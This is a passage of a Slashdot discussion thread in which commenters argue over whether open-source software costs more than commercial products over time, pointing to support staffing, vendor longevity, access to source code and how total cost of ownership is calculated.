    Commercial support, paid in full, does not necessarily buy you *GOOD* support.

  73. It's really simple economics. by foxtrot · · Score: 2

    If you pay someone else to do your support for you, they get a cut.

    If you're big enough that you've got an IT staff instead of an IT guru, you're probably big enough to do your support on open-source software in-house, and save money on it. If not, then yeah, outsourcing probably saves you money on training and whatever else and that may offset the cost of buying the closed-source software and the support.

    But once you're in the similar "economies of scale" range, buying support from someone else just adds a middleman.

  74. This is your error. by LWATCDR · · Score: 1

    1. The idea that it would take a tenth of an it workers time to be active on the mailing list seems a bit much. 4 hours a week every week? That seems a bit much to me unless the list is very active. Also once he knows the program he does not have to monitor the list every day for hours.

    "And I must admit that any commercial product will require some time from their IT staff, but because there is 'support' available this is seen as being much less important."

    2. Well guess what if your IT staffer does not know the product than he will spend A LOT of time fumbleing about. The staffer will need to know the program.

    " Major fixes or changes can be dealt with by hiring consultants like myself, and lesser issues dealt with by calling customer support."

    So how is this different from an OSS product? He could hire a consultant that knows the OSS product.

    --
    See my blog http://ilovecookes.blogspot.com/ for light hearted technical information.
  75. Mod parent up! by Anitra · · Score: 1

    You said it better than I ever could: this guy's not trying to bash open source, he was disappointed that this particular open source tool was going to be more expensive. He sounds like he did a pretty thorough job researching it & thinking it through, too... not just jumping on the bandwagon.

    --

    Have you read the Moderation Guidelines Addendum?
  76. 10% ? by russianspy · · Score: 2

    10% of an FTE. Someone would have to spend 10% of their time (full time job) just to read a mailing list? That's a LOT of time. Assuming 7 hour days - that's 42 minutes spent every day just reading the mailing list. Wow.

    What about a slightly more sporadic use pattern? For example:
    1) IF you have a problem - post it on the newsgroup (or to the mailing list).
    Then the next morning see if you have any replies.

    2) If you have a person that is fluent with some aspect of the software - have them spend half an hour a WEEK to glance through most recent mailings and see if they can answer any of them. (Optional step - but it's nice to give back to the community).

    3) See if the mailing list has a cache of old messages. That way you can check if your question has allready been answered in the past week/month/year. If not, perhaps arrange to have your own locan cache - that can be as easy as a new e-mail account with a large quota and a decent e-mail client that allows you to search it.

    1. Re:10% ? by Anonymous Coward · · Score: 0

      4)Move 3) before 1)!
      You wan't look rude.

  77. Since it's free it must be more expensive .... by Anonymous Coward · · Score: 0



    Right? Yeah makes perfect sense to me. Re: "need to consider external factors like support costs". How about considering how fat your sysadmins are and how much they need to eat.... Isn't that an "External Factor".

    Sheesh waht utter FUD this is.

  78. It depends on what kind of "support" you want. by StupidKatz · · Score: 1

    I depend on linux, sendmail, bind (shaddap), and pine for my email. This keeps me in touch with friends, family, and work; if my email goes down, I'm completely out of the loop as I never answer my phone anymore (thanks, telemarketers!).

    I've had problems here and there; I hate configuring sendmail (as opposed to just about every other package out there), mod_ssl is a picky bitch, and kernel upgrades without menuconfig make my want to club baby seals with my spare monitor... but in all those cases, google found the answer. I got the support I needed quickly and for free.

    In fact, the ONLY thing I haven't been able to fix with OSS is a strange problem with active ftp from any nat'ed client behind a slackware box running netfilter's iptables with all those ip_nat_ftp/ip_contrack_ftp modules loaded (or compiled into the damn kernel). However, as I never liked active ftp anyway, I can live with that one small quirk.

  79. Open Source Search engines... by Traicovn · · Score: 1

    We had to do that here at the university I work at a few months ago, implement a NEW university wide search engine... Lots of people kept saying things like 'use google', however the free for universities version of google didn't give us the features we needed. We tried multiple pieces of software and finally settled on AspSeek. So far it's been able to hold up to what we've put it through. We haven't really tried to customize it however... Without knowing exactly what you are trying to do it's hard to know how it would hold up. We also tried MnogoSearch (it's worth taking a look at, but we had lots of problems with it). We were originally on ht://dig, but moved away from it due to multiple reasons...
    If your doing a large scale (over 50k) site search engine, or a multiple site search engine with a database and webcrawler, I wish you luck... there isn't much support out there and the options are few... I hope perhaps the ones that I mention are some help to you.

    --

    [Something witty and intelligent should have appeared here.]
    {Traicovn}
    1. Re:Open Source Search engines... by Traicovn · · Score: 1

      I guess the biggest problem with search engines is cost and speed.... I will mention that our search engine is able to search through a few million documents in under a second however and do indexing and incrememtal searches... Are three biggest issues were speed, relevancy (which is a pain in the kneck to deal with, and when administering a search engine is something you have to constantly deal with) and cost (we had basically no budget, and the hardware had to come from 'spare parts).
      In the end we ended up using a home-brewed topic-database search as the primary search engine, If it doesn't find one of the 'keywords' in the topic search it dumps your query to the actual search engine automatically. We did this to help improve our relevancy... I am planning on eventually tying the two databases together somehow, in a cleaner manner (along the lines of how Yahoo displays yahoo 'category items' first), but at this time that is not our top priority...

      --

      [Something witty and intelligent should have appeared here.]
      {Traicovn}
  80. can commercial support for OSS work? by Anonymous Coward · · Score: 1, Informative
    And commercial support for OSS is not really working out for a lot of companies.

    RedHat's Advanced Server is not flying off the shelves, despite companies demanding that there be a less frequently changing, better supported version.

    Sendmail, Inc is not growing wildly despite their MTA being on 84% of the Fortune 100's gateways (according to their website). And who knew they had IMAP and Webmail products (not open sourced, apparently).

    Nominum is Vixie's support org for BIND and DHCP after the ISC didn't really attract tons of money from people who live and die by BIND.

    Source Forge code didn't really work on anything but VA Linux boxes running their Linux. Lots of work got it to RedHat, but it was complex and impossible to setup 18 months ago. Now it's commercial saying, to me, that you need someone else to come configure it.

    Would Mozilla exist without paid developers from Netscape^WSun^WAol working on it?

    -

    It seems that post-bubble, that the Commercial support of OSS model isn't really working out? Is it because on our side of the fence - the linux/bsd users won't pay for ANYTHING? One big failing is that last 10% that Unix programmers tend to skip - the part that's not fun to program that makes the tools Usable by Mom<TM>

    1. Re:can commercial support for OSS work? by doomdog · · Score: 1

      You said: "Is it because on our side of the fence - the linux/bsd users won't pay for ANYTHING?"

      Yes, this is the problem with open source; it promotes an attitude of "I want _you_ to work hard and produce something of value, but I *demand* that you give it to me for free".

      Why is it that OSS advocates insist on getting everything for free? This attitude permeates every level of thinking of those indoctrinated by the GPL (and other communistic licenses of similar ilk).. Why, just witness the OUTRAGE and HORROR expressed here on Slashdot when an "Evil Corporation (tm)" decided to levy a 25 cent royalty on MP3 players.... There were flaming idiots by the hundreds claiming that MP3 was now officially evil, and that they would immediately trash their entire MP3 collections and convert to Ogg.

      It's pathetic. You should expect to pay for value received, and to receive for value created. TANSTAAFL -- everyone should keep this in mind.

  81. "We have to fight a philosophy" by gotw · · Score: 1

    With all that's said about Open Source a philosophy, something that goes beyond pure making programs, I think that this post has missed the point a bit. Open Source comes from sharing knowledge and skills and is developed by a community, the community growing bigger and improving from its virtues. This is looking at open source cost in a very american style corporate manner. To buy support for open source in some circumstances may well cost more than getting support for a commercial product, I have no argument, I have no opinion on it ... it's beside the point.

    For open source to show its true value the company must to some extent embrace the spirit in which the software (at grass roots level at least) is created. Nurturing gifted people and allowing them the freedom to work with the software, in that environment with the right people open source methods are surely the most productive. I'm aware that there are problems with this, small companies with small budgets may have problems with this. Doing this may go against the corporate grain of most big companies, but that is the battle that we face. OSS has already changed the rules in some respect, it has bent market forces to get large companies to fund open source work, to open their code because this philosophy adds value to their product.
    Good IT people who have the resources and the ability should attempt to build this within their departments. Pressure for the use of open source, pressure by making a good product and showing results in the development of the staff and a change of corporate attitude. We can get rid of this sort of thinking ... and it will be for the better.

    Don't lose your way, confusion is a tool of hegemony.

    1. Re:"We have to fight a philosophy" by Anonymous Coward · · Score: 0

      OK, fantastic points for software development.

      Now back to the real world. I'm using this software for my business. If it doesn't work it costs me money.

      Now, 2am wednesday night something goes wrong. Who do I call to get this fixed now because every second counts.

      First person to say consult the news groups gets a cricket bat upside the head.

      This is where support contracts are required. My immediate staff hit a problem they can't resolve. I need an escalation path with legal commitments to back them up. Forget the college microsoft bashing crap. Real applications, real money, real consequences if they don't work.

      This is the world you want to play in boys and girls. What do you do?

    2. Re:"We have to fight a philosophy" by Anonymous Coward · · Score: 0

      Isn't support just contracting out good staff? Surely it's better to have skilled people on site if you possibly can.

  82. How do you justify 10% by Stonefish · · Score: 1

    How do you justify 10%, why not 5% or 20%, why $80000 why not $50000 or the mean IT salary for workers in country X. Justify your figures, don't make up reasonable sounding values and earn your salary by .
    I think for this cost you would be able to request features added to the codebase. A better approach would be to identify the core developer and see what you have to offer to attract one to support your cause.

  83. Why not create your own support? by Quebec · · Score: 1

    In the different scenarios that you created for this
    did you include one with the hiring of 1 or 2 programmers
    that will contribute to the effort, maintain the
    code (even if it's just applying patches from
    foruns and others or it could be customisation)
    and do the support to the others?

    The kind of people that you don't need to tell them
    to RTMF or to RTS because they already did.

  84. Ten year lifetimes and proprietary apps by JoeBuck · · Score: 4, Insightful

    You claim that it's a requirement that this system would have at least a ten-year lifetime. Did you get commitments from the software vendors that they would support their product for ten years, or help you transition to a replacement product? Companies regularly terminate unprofitable products, and in some cases they withdraw timed license keys, with the effect of causing deployed systems in the field to cease to work.

    If not, then the only option for you that you can be certain of maintaining over a ten-year life is the open source option.

  85. Having not read your methodology.... by principio · · Score: 1

    ...I must question how you got 10% of the FTE.
    I think that the main determination of the cost of maintaining a product over time comes from supporting the aspects of the product that you develop, not on the technologies that you utilize from other developers. Assuming that you are making use of mature products, preferably products that are standards-compliant, I can't see the support costs related to these products contributing to the long term maintenance cost in any notable way. The bigger concern is whether the company that produced the product, or a community maintaining the product, will continue to exist for the lifetime of your project.

    ps. Sorry for the poor writing style, there is a reason that someone else has to write my documentation.

    Of course, that's just my opinion, and I am usually wrong.

  86. Hmmmm by the_other_one · · Score: 2

    I would like to see Microsoft beat the TCO of my current system.

    I did make a donation To Debian when I got the initial installation CDs (but I didn't have to.).

    Upgrades are freely downloadable and can be done automagiically.

    Microsoft could pay me to take windows.

    Then they could pay me to install each Service pack.

    Then pay me again when they come out with the next Version of Windows.

    I would keep the windows machine up to date.

    Use the Debian box.

    Then donate the bribes to Debian

    --
    134340: I am not a number. I am a free planet!
  87. Read the Halloween 7 article by ESR by Anonymous Coward · · Score: 0

    Read the Halloween 7 article by ESR, below and at http://opensource.org/halloween/halloween7.php . It didn't take long for Microsoft to engage, did it?

  88. OSS phone support by Tablizer · · Score: 5, Funny

    "Hello, welcome to Open Source Phone Support. Press One to listen to the fucken manual. Press Two to get a fax of the fucken manual. Press Three to get email of the fucken manual. Penguin T-shirts are currently on sale for five-ninety-nine. Proceeds go to improving the fucken manuals. Please stay on hold if you wish to purchase one. Oh, and by the way, don't forget to read the fucken manual before you call again. Have a nice day."

    1. Re:OSS phone support by nandoz · · Score: 1

      this the most intelligent thing i've read on slashdot in a long time. the manual is strong with this one.

    2. Re:OSS phone support by glwtta · · Score: 2

      If only they listened...

      --
      sic transit gloria mundi
    3. Re:OSS phone support by skaffen42 · · Score: 1

      Mmmhh... the thing that worries me is this message would still rate in the top 25% percent when it comes to usefullness of phone support.

      When I call tech support I usually end up having to explain things like why I am running Linux and why it should have NO effect on {insert problem of choice here}, eventually hanging up in disgust and going back to google or the manual. At least this message saves from having to wait on hold for an hour before having to deal with some clueless moron.

      BTW, where can I buy T-shirts for 5.99?

      --
      People couldn't type. We realized: Death would eventually take care of this.
    4. Re:OSS phone support by Tablizer · · Score: 1

      BTW, where can I buy T-shirts for 5.99?

      You can't anymore. It's an old recording.

    5. Re:OSS phone support by invalid_user · · Score: 1

      this the most intelligent thing i've read on slashdot in a long time. the manual is strong with this one.

      Yaaa, the fucken manual is strong with this one.

  89. Your analysis is flawed by DrPepper · · Score: 2

    You have assumed that a commerical company will support you for the ten year lifecycle of the project. However, it is very likely that the commerical company will fold or discontinue the product during those ten years. After that you will be unable to fix problems or add features as you will not have access to the source code.

    Only an open source product is guaranteed to be supportable for the full ten years of the project. Even if the development team for the product get bored and leave, anyone sufficiently skilled will be able to step in at anytime and make modifications or changes.

    The community that uses the product will quite likely start supporting it themselves (if they aren't already). Or of course your employee may be able to make small changes even if they are not the greatest developer on the planet.

    So, from your list, in order to fulfill your brief correctly, you should really be looking only at open source products (commerical or free).

  90. You want a Support Contract? I give you a Country by Salamanders · · Score: 1

    Might want to factor in such things as rent-a-coder sites. If you have a problem with an open source project, you have the option to put the fix up for bidding. And believe me, thare are a LOT of smart coders out there. Of course, you trade reliability for cost.

  91. Assuming it is legal to read their "open formats" by nyet · · Score: 3, Insightful

    I know you think you are /.'s head iconoclast, but you know as well anyone that MS has NO interest in encouranging crossplatform compatibility in ANY document formats, outside of enough lipservice to fill out the RFP acronym checklist of the day. The *default* save format (i.e. the one that 99% of the user base will use), while possibly being XML based, will no doubt be encumbered by very onerous NDA and licensing restrictions.

    Word had the capablity of saving as .txt from day one, and nobody uses it.

    Exporting .html from Word is also an option rarely used, and when it IS used, horribly broken, unreadable .html is invariably the result.

    Portable, open, unlicenced "save as xml" will no doubt be an option, but one that NO Office user will use, either out of ignorance, or out of frustration that the output is either hopelessly munged/unreadable, or simply isn't representative of the actual document's formatting.

  92. Its True! by Raskolnk · · Score: 3, Funny

    Its true, really. Anyone who doubts this can come sit at my desk with me while my company unknowingly pays me to compile and recompile KDE/GNOME/Mozilla /etc. all day.

    --
    Don't blame me, I get all my opinions from my Ouija board.
  93. Lifetime support. by InrdZQdxdqn · · Score: 2, Insightful

    the commercial products were more expensive for the first four to six years of lifetime costs, after which the Open Source product became more expensive.

    And after 6 years. Does any vendor provides you any guarantee that they will be there supporting the product?

    And if they're not there or they don't support the product anymore, will they open-source they code so you can find some kind of independent support?

    I think the fact that the expected lifetime of the system is that long is just one more reason to go for open source !!!!

  94. Depends by the+eric+conspiracy · · Score: 2

    It seems to me that the lifecycle cost of any particular application will vary markedly on the particulars of the situation. The concept that you can say xyz has a lower TCO than abc is so dependent on the particulars of the situation you cannot make generalizations.

  95. Too sensitive to initial conditions by maggard · · Score: 3, Interesting
    The only values you're using for Open Source are the estimate of 10% of a staffers time @ US$80,000/year. Twitch those numbers any way and the results swing with them, changing everything.

    Now, I dunno what kinda search engine you're looking at but 10% of a staffers time (4 hours a week) seems high to monitor the relevant mailing lists just to "keep up". Particularly high if the staffer is just "keeping up" with security and compatibility issues and not regularly implementing extensive feature changes.

    Aside from that there's the simple issue of someone riding herd on the commercial vendor's install. Depending on what kind of contract you've got generally someone in-house has to keep on top of things and make sure that the vendors is maintaining their install up to date and secure. That may well be about the same amount of time as the Open Source project may require, something I think you may not be accounting for.

    Lastly there's the whole long-term viability/migration issues. We've all seen any number of projects get cut, killed, their vendors wither into uselessness, etc. As many have pointed out with Open Source at least you've got a copy of the source code to hand to someone else hired down the line and keep running. One can of course write in code escrow clauses into a commercial vendors contracts but generally they add a lot to the cost and it's a constant battle to keep them up-to-date. Plus in a decade when the whole thing is re-up for evaluation with Open Source at least you have the file formats identifiable, with closed you may have a dickens of a time pulling back out your data.

    Frankly I don't think your evaluation is particularly useful, especially as a generalized one. It may well be that the Open Source project only requires a low-level staffer's yearly look-see to keep up to date. Or the commercial version may demand bringing in outside consultants to baby-sit as the entire environment evolves from today's assumptions. Or the other way round. Good topic, bad example.

    --
    I don't read ACs: If a post isn't worth so much as a nom de plume to its author then I wont bother either.
  96. TCO or support costs? by nolife · · Score: 3, Insightful

    Where does the TCO stop? When you buy another version or upgraded product? Basically does you W95 TCO stop when you upgraded to W2K which has its own TCO? Why would you not add the TCO's of both into a Total TCO of keeping your computers running over the years? This is something to consider when using open source. Two or three years done the road you can modify or add to your existing software to keep the software going and support your existing needs, you will not have to throw away package A and start over with package B. If you upgrade often your support costs may be less because more people are currently using it but your software costs go up (supply and demand). If you hold on to an application longer your costs will go up for support as less people are using it in the end but you will pay much less overall in software costs. Open source would allow you to keep an application going with third party support that does not have to be from any one vendor or from in house, seems to me this would make open source cheaper the longer it is used. Maybe not so cheap if you have a full time programmer on your pay roll to make a few changes to a package once a year but how does that?

    What is Omnipage Pro up to now? version 12 or something. To maintain those "cheaper" support costs you have to keep buying the newest version.

    --
    Bad boys rape our young girls but Violet gives willingly.
    1. Re:TCO or support costs? by Servo · · Score: 2

      I think you've hit the nail on the head here.

      The poster did not provide how he came about the final TCO for each solution.

      Another problem is, I've noticed (totally anecdotal) that the longer people to wait to upgrade, the higher the end-TCO will ACTUALLY be. After it gets so old that nobody supports it anymore, it ends up requiring a drastic solution to replace. I'm not suggesting you fall into the Microsoft trap, but planned upgrades and/or "checkpoints" would really help.

      I had a friend who worked for Disney in the IT department. They had a IBM PS/2 box running an OS/2 application that worked fine, but they had no more support for it. It was a critical piece of software that had been developed in house 15 years prior. At first glance, you'd think the TCO for the application wasn't much, because they hadn't had the need to replace the machine or anything for at least 10 years. They couldn't get replacement parts, and the software technology couldn't be adapted for their new integrated systems. So what happened? They spent $10 million on new system to replace something that originally cost them a couple grand in hardware and a few months of devel time.

      --
      A slip of the foot you may soon recover, but a slip of the tongue you may never get over. -Benjamin Franklin
  97. Contacting the maintainers by damas · · Score: 2, Informative

    "Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list."

    Did you try: we're gonna pay you 400$/month to answer our questions regarding product xxx?

  98. It all depends on how you define the lifetime cost by Uttles · · Score: 2

    I mean hell, some companies, like Oracle, are extremely expensive to deal with, just as much as any open source support, and you have to pay extra for the software itself.

    Also, is your open source solution going to last 5 years? When's the last time a Microsoft product lasted 5 years where you didn't have to pay for extra software?

    --

    ~ now you know
  99. Full cost calculation? by mshiltonj · · Score: 2

    I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!

    When factored in with equal administration costs, adding in training and support (available from these vendors) and other one-time and yearly costs (for such things as licenses), the commercial products were more expensive for the first four to six years of lifetime costs, after which the Open Source product became more expensive. ...

    I must admit that any commercial product will require some time from their IT staff, but because there is 'support' available this is seen as being much less important. Major fixes or changes can be dealt with by hiring consultants like myself, and lesser issues dealt with by calling customer support. They might even be right in this estimation.


    Did you caculate the cost of the "much-less-important" but still necessary time of the FTE to support the commercial product? Did you calculate the cost of hiring consultants for "major upgrades." The text above sounds like you did not include them, and only mentioned incidentially. What percentage of time will an FTE need to be allocated to support the commercial product? How many hours of consultant time will be needed for the major upgrades?

  100. Economies of Scale... by airrage · · Score: 2

    The real problem, unfortunately, is the shop's sunk costs. In large MS corporations, what's the cost of deploying one more intranet system? Basically zero. That's because at some point you start getting economies of scale. Unfortunately, this person was doing the analysis based on having to take on all the costs at the beginning, whereas let's say the entire government was open-source and they had a team that could write code/support/develop, etc. Then this project wouldn't require support and the expense goes way down because to add one more system would basically be zero. So I agree, his conclusions are probably correct in this case. But this should be seen as a big win for open-source; before you weren't even in the analysis!

    --
    "This isn't a study in computer science, its a study in human behavior"
  101. Re:Biggest problem with commercial use of open sou by Anonymous Coward · · Score: 0


    In my mind, the biggest issue with commercial use of open source software is that the consumers of such software have no way of compelling the makers to do one thing or another.


    Not true. If you need a feature, pay them to add it. I know companies that pay for this kind of service. If it is too expensive, maybe you can find someone else in the community that wants the feature and split the cost (Heck, if I were running some opensource project, I'd make this as easy as possible so that you can increase the odds of getting paid to do it!)

  102. A new profession for resume: by WetCat · · Score: 1

    Open Source Support Engineer (OSSE)
    (GNU Certified ?!)

    1. Re:A new profession for resume: by Anonymous Coward · · Score: 0

      I dare you to add that on a resume. Let me know when you do, because I want to watch the laughter rain down upon thee. GNU certified -- ha ha! May as well be certified by that dude who lives in a box out behind the Wendy's on 4th Ave.

  103. What about the product lifetime? by Chas · · Score: 1

    Has the fact that the open source project can be more portable, and thus, enjoy an extended lifetime of usage been taken into consideration?

    --


    Chas - The one, the only.
    THANK GOD!!!
  104. Umm the source is open.. by I_redwolf · · Score: 2

    So that you can make a product or steal bits of code. Just because something is opensource doesn't make it cheaper in any aspect really. What it does do is provide you with choice; the choice to fix a bug, the choice to add documentation, the choice to add a new feature etc etc. Which WILL save you money in the long term. Is it going to cost more to support in the short term for a large sum of code, yes. If you want a solution that works with support then you go with the Company that is providing support for the opensource project (eg: mysql, apache blah blah blah). If there is none then you're on your own, however anyone that understands the economics of these things will tell you that sometimes buying the big package and writing it off is ideal. However the cost that you don't see is the one of choice which believe it or not will most likely end up costing you alot more money in the long term. Especially because you can't adapt without that commercial company.

  105. Heh, Linux is free... by zerofoo · · Score: 2

    If your time is worth nothing.

    Seriously, all computers suck...Mac, Sun, PCs running windows, PCs running Unix....etc. They all eventually break, and they break too often. I'll admit, some do suck less than others, but I won't even think about starting that topic here.

    -ted

  106. No kidding by sgml4kids · · Score: 1

    I lost my last job because the TCO of using "grep" bled my employer dry.

  107. Two modest points... by sphealey · · Score: 5, Insightful
    I am not trying to sway the humble reader in one direction or the other, but I would like to add two modest points.

    First, what is the probability that the commercial vendor will still be in business, supporting the version of the product that you want to use, in 5 years? 10 years? 15 years? Vendors typically have an end-of-life schedule and forced upgrades for products. Going through an upgrade, particularly an unwanted upgrade, can be just as expensive as re-writing the product from scratch.

    There are a few very large systems vendors that have been in business for a long time and will commit to supporting any version of a product. Typically such contracts carry price tags that increase at least to the power of 1.5 per year. At least. Used to work for a company that paid for support on a 1950s vintage application (in the 1990s!). The cost was a significant percentage of their total revenue.

    However, there is also one very large system vendor that has a habit of buying marginally successful software vendors, milking their support contracts for three years, then terminating the product. Do you have guarantees that won't happen?

    Second, you make it sound as if when a problem occurs with the commercial product, you pop a punch card in a slot and *bam* a solution appears.

    In fact, handling the vendor/support relationship on complex commercial products is an art and can easily become more than a full-time position. Software vendors have to be managed in much the same way that pre-teen children do: encourage them, praise them, lead them toward answers but don't do their homework, pick up their laundry off the floor, and discipline if and only if necessary. That is not an easy job, and one that generally takes a lot of time (again - just like children). Finally - what does your client do when the vendor just refuses to fix a problem? Which they will, eventually: "Sorry. Working as designed. Submit an enhancement request.". What now?

    sPh

  108. TCO varies with application by Lxy · · Score: 2

    I hate all TCO studies. I don't care who does it or what they're testing.

    TCO needs to be analyzed on a case by case basis. There is no magic number. Let's look at two companies.

    My company
    Software:

    Wordperfect
    Lotus
    Internet Explorer
    IBM Client Access (for AS/400)
    Groupwise
    Access

    Those are the core apps found on most machines. It's the web based apps and the custom apps that are killers. For instance, we have an 8 way contract with company A to develop an application. It needs SQL Server 2000 to run. That's a lot of cost, but it's split 8 ways. Now, let's get that same app to run on Linux and access a Postgres server. Crap... WE have to foot the cost. No other software, free or otherwise, does what this app needs to do. It needs to be custom. To move out company to a linux environment would be costly. VERY costly. Training and app development would cost us way more than getting screwed by MS.

    Friends's company:

    MS Office/Outlook/IE
    Semi-custom Access program for accounting
    1 NT server, does file and print sharing

    Here we go, linux would be cheaper! This company already is playing with Openoffice and Mozilla, in fact most users have MS Office just to do file conversions occasionally. They want to add a 7th workstation to their domain. They have a 5 user license, so currenly only 5 can be logged in simultaneously. The 6th rotates around, and they make it work. Their accounting app only runs on one computer, so at the very least we'd leave 1 Windows machine untouched. The rest are ready for linux. The PDC becomes a samba server, 6 of the 7 workstations are linux, the 7th just sits running Office and the accounting app as needed. There you have it, zero software cost and they're migrated to open source in a weekend.

    a move to OSS can be done cheaply, or it can be done at a huge cost. Anylize YOUR SPECIFIC REQUIREMENTS, you and only you can determine whether OSS is right for your business.

    --

    There is no reasonable defense against an idiot with an agenda
    :wq
  109. OSS is a good way to test the waters by tlh1005 · · Score: 1

    I think alot of it depends on the type of project and tools you are considering using to work with. As an example, my company has been getting into Java for server side processing. Rather than jump straight in and spend 100K+ on something like Websphere or Weblogic, I find it more useful to start with something OpenSource but reputable like JBOSS. Once we become proficient and decide if Servlets/EJB are even the way to go.... we can then worry about if JBOSS will be enough or if we need to step up to the IBM's and BEA's out there.

  110. Hidden costs, exagerated costs by darkonc · · Score: 2
    It's hard to estimate costs, but I think that you've overestimated the lifetime support costs of the Open Source product. If you've got a stable product, there's likely to be less and less that you're changing in it over time. The 1/10 FTE might be appropriate for the first couple of years, but it's likely to drop over time. Following most lists costs me well under 4 Hours/week.

    There's also the costs of supporting a discontinued commercial product (mentioned in another post). Consider the recent announcement that Microsoft would be stopping all support for win 95 this year, and win/98 in 2004. That's about a 6 year lifetime for a product with probably the largest user community in software history. How much will it cost these companies to get their support now?

    My guess is that future support for the proprietary products will decrease in quality over time (but for the same price) to the point where it may be necessary to replace the product with a newer one (at very large cost).

    --
    Sometimes boldness is in fashion. Sometimes only the brave will be bold.
  111. Huh? by buss_error · · Score: 2
    What's the problem with 'wget | grep'? Can't they figure out how to use grep? Gee.

    Laugh. It's funny.

    --
    Necessity is the plea for every infringement of human freedom. It is the argument of tyrants; it is the creed of slaves.
  112. Ignorance (Computer Illiteracy) is Expensive by ChaosMt · · Score: 3, Insightful

    This is simply a result of thousands of schools foolishly believing that teaching people how to use a browser, word processor and spreadsheet are computer literacy. De-evolution in action.

  113. Yupp your gonna get a balanced answer here. by Anonymous Coward · · Score: 0

    You might also wanna ask Ashcroft for
    an indepth analysis on the war against
    IRaq or Chaney to help you make up your
    mind the election was a good thing or not.

  114. Commercial support is not what you think by belrick · · Score: 1

    In your estimate for OSS you allocated 0.1 FTE to keeping active on a mailing list, keeping familiar with the product, etc. You then said this was 3 times the cost of a support contract. What you failed to include was how much of an FTE was devoted to having an internal person be able to call commercial support and obtain proper support.

    When you call Oracle or any vendor for support, in general it is not like some manager can call them in and have them access the system and fix the problem. A technical person calls them, gives them info, performs actions at their suggestion, etc. That technical person needs to have the skill sto do that against the product. in other words they probably have to invest that same 0.1 FTE to be prepared to call commercial support.

    Therefore it is not 0.1 FTE verses 1 support contract, it is 0.1 FTE verses 1 support contract plus 0.05 or 0.08 or 0.1 FTE.

  115. Re:Thank you by Anonymous Coward · · Score: 0

    YHBT YHL HAND

    Don't pay to much attention to what the trolls say. How do you recognize a troll? They post on slashdot.

  116. Re:First posty by Anonymous Coward · · Score: 0

    I'm sorry, but I think it's ridiculous for anyone to make a decision without seeing your premise, data and conclusions. This isn't enough to go on.

  117. Expertise vs. Money by afreniere · · Score: 1
    IMHO, Open Source generally has the cost advantage when you have more expertise assets than money, and Closed Source products have the advantage when the opposite is true. When you can just throw some money at the vendor to get support, closed source often makes more sense than hiring an OSS expert. Until the vendor dies; but then you can just hire a contractor to migrate...

    -Ansel.

    G=C800:5

    --
    G=C800:5
  118. stability by markwusinich · · Score: 1

    in considering closed systems you should demand that they have been around for 10 years.

  119. RTFM is a legit reponse by patSPLAT · · Score: 3, Interesting

    The nature of distributed collaboration leads much better documentation. On many open source projects, the manual is actually a source of information. See debian's policy.html for a good example. For similar reasons, open source news groups usually have much more helpful information than vendor groups.

    Most of the time googling will lead to exactly the answer you need in very little time. Sometimes, all you need to do is cut and paste the error message into groups.google.com to get an answer.

    And if you want to buy support, you can still purchase it from RedHat, etc. But I heard a dirty little secret from some folks who sell support for Perl -- it doesn't really need it :-)

    ~ Patrick

  120. open source grocery by Anonymous Coward · · Score: 0

    groceries for the whole world will be supplied by open sourcers who feel everything has to be free to be good, their job.. first find the supplier who will supply for free......then again maybe some day.....with open source leading the way.....lets see what china does with linux...

  121. That sounds about right... by NastyGnat · · Score: 1

    I haven't read all the other posts so I apologize if this is redundant.. but...

    the commercial products were more expensive for the first four to six years of lifetime costs

    While this may justify some commercial products TCO. It shows that for the average lifespan of a vendor supported microsoft product the TCO will probably be higher because we all know microsoft is prone to retire a product (and support) well before it reaches 10 years of age. Heck, windows 2000 is already slated for retirement and it's hardly 3 years old.

    Looks like if bill's goons want to beat us on a TCO ISSUE they will have to make a product that isn't so buggy it has to be retired every 5 years.

    --
    -- this space for rent --
  122. Knowledge is Money by Anonymous Coward · · Score: 0

    Even though this may not be your business model: once you gained the
    knowledge needed to maintain and maybe even enhance an Open Sourced
    product, you could, theoretically, lower your cost by having the
    support team specialize and offer support services to other companies
    that want to use the same product.

    Unlike a closed source product where you're very limited by the
    knowledge you can acquire. I'm not sure if there is a legal side to
    this i.e. can the company making the product prevent you from offering
    the support yourself, but in any case a customer will probably just
    buy support directly from them and not you.

    In certain cases, factoring this into the equation might even turn a
    project profit instead of cost.

  123. Don't forget costs of tracking licenses. by cmoss · · Score: 1

    One thing that is often overlooked is the cost of tracking licenses/license keys and proof of purchase. If you use Free Software you can install the package on any machine without worrying about finding the contact information and purchase order.

    Also there is much less overhead in the initial acquisition of the software initially. With Free Software I have often been investigating a project in the afternoon and had a working prototype for Management evaluation in the morning. These could be projects it would take weeks to get the PO signed, price negotiated and media delivered.

    All of this without exposure to BSA forced audits.

  124. Not all OSS has a lower TCO by borwells · · Score: 1

    Just because one OSS solution has a projected higher TCO than a CSS doesn't mean that all OSS solutions have a higher TCO. If the OSS solution you have chosen is modular, more than likely you can hire employees who can be trained to support and maintain the code long after all other support is available. However, if your software is supposed to provide solutions to complex mathematical equations few people can solve don't assume cheap programmers will be available to maintain the code.

    --
    "We can't solve problems by using the same kind of thinking we used when we created them."
  125. Different for everyone by johnlcallaway · · Score: 2

    I'll bet that the cost is directly related to the skills of the technical staff. For exampple:

    Case #1 (my company) We pay support for many products (Oracle, Sun, Weblogic) but rarely use it. Why? We get tired of debugging their product. We have a very talented staff, and by the time we finally call support, we have already done all the stuff they are going to tell us to do again (Yes support-person, it is plugged in and turned on.) We often end up doing things that are of no value, and we know it, only because the support person won't give us any help until we do it. In one instance, they actually had the nerve to ask us to install a kernel patch and reboot our production system in the middle of the day. They had no concept of testing and QA of changes. So, for us, Open Source is a godsend. We use Google to find answers to problems, and have even read code a couple of times. All for free, except for our time.

    Case #2 -- Some other company This company has promoted their office manager to IS director. He doesn't know a USB from his pie-hole and has to pay out major bucks to get someone to come in and make sure his computer is plugged in and turned on. Open Source products without support contracts are too expensive for him, because not only does he waste a lot of effortand have a lot of downtime, his medical expenses will go through the roof.

    Each company has to determine the true cost of support and whether or not it is worth it. We spend big bucks on software support mostly so we can get patches and upgrades, not phone support.

    --
    I rarely read replies, it's my opinion and if you thought about your opinion a little more, I'm OK with that.
  126. Monetarily more expensive perhaps... by LoRider · · Score: 4, Funny

    but how much is your soul worth?

